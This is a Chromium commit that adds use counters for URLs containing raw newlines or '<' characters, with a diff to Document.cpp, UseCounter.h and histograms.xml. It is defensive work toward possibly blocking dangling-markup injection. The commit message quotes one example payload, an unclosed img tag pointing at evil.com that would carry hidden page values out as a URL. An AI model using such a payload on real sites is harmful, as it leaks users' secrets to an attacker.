Measure URL resolution with raw newlines and braces. Because HTML is fairly lax in parsing attribute values, injecting something like `<img src='https://evil.com/?whatever=` can expose otherwise hidden values by eating up elements and their attributes, and resolving them as a URL. Perhaps we could restrict the character set allowed in `src`/`href` attributes to bring them in-line with CSS's rules for `url('`. That is, perhaps we should stop resolving URLs that contain raw newline characters (`\n`)? Or braces (`<`)? Or both? It's not clear whether we can do something about this by default, so let's add metrics and see what we see. BUG=680970 R=jochen@chromium.org Review-Url: https://codereview.chromium.org/2629393002 Cr-Commit-Position: refs/heads/master@{#443793}
diff --git a/third_party/WebKit/Source/core/dom/Document.cpp b/third_party/WebKit/Source/core/dom/Document.cpp index 5380084..0ce8353 100644 --- a/third_party/WebKit/Source/core/dom/Document.cpp +++ b/third_party/WebKit/Source/core/dom/Document.cpp
@@ -4945,6 +4945,19 @@ } KURL Document::completeURL(const String& url) const { + String trimmed = url.stripWhiteSpace(); + bool newline = trimmed.contains('\n') || trimmed.contains('\r'); + bool brace = trimmed.contains('<'); + if (newline) + UseCounter::count(*this, UseCounter::DocumentCompleteURLContainingNewline); + if (brace) { + UseCounter::count(*this, + UseCounter::DocumentCompleteURLContainingOpenBrace); + } + if (newline && brace) { + UseCounter::count( + *this, UseCounter::DocumentCompleteURLContainingNewlineAndOpenBrace); + } return completeURLWithOverride(url, m_baseURL); }
diff --git a/third_party/WebKit/Source/core/frame/UseCounter.h b/third_party/WebKit/Source/core/frame/UseCounter.h index 9a5a774a..dd8b614 100644 --- a/third_party/WebKit/Source/core/frame/UseCounter.h +++ b/third_party/WebKit/Source/core/frame/UseCounter.h
@@ -1435,6 +1435,9 @@ V8AssigmentExpressionLHSIsCallInStrict = 1765, V8PromiseConstructorReturnedUndefined = 1766, FormSubmittedWithUnclosedFormControl = 1767, + DocumentCompleteURLContainingNewline = 1768, + DocumentCompleteURLContainingOpenBrace = 1769, + DocumentCompleteURLContainingNewlineAndOpenBrace = 1770, // Add new features immediately above this line. Don't change assigned // numbers of any item, and don't reuse removed slots.
diff --git a/tools/metrics/histograms/histograms.xml b/tools/metrics/histograms/histograms.xml index e4eca30..82b7e74c3 100644 --- a/tools/metrics/histograms/histograms.xml +++ b/tools/metrics/histograms/histograms.xml
@@ -89042,6 +89042,9 @@ <int value="1765" label="V8AssigmentExpressionLHSIsCallInStrict"/> <int value="1766" label="V8PromiseConstructorReturnedUndefined"/> <int value="1767" label="FormSubmittedWithUnclosedFormControl"/> + <int value="1768" label="DocumentCompleteURLContainingNewline"/> + <int value="1769" label="DocumentCompleteURLContainingOpenBrace"/> + <int value="1770" label="DocumentCompleteURLContainingNewlineAndOpenBrace"/> </enum> <enum name="FetchRequestMode" type="int">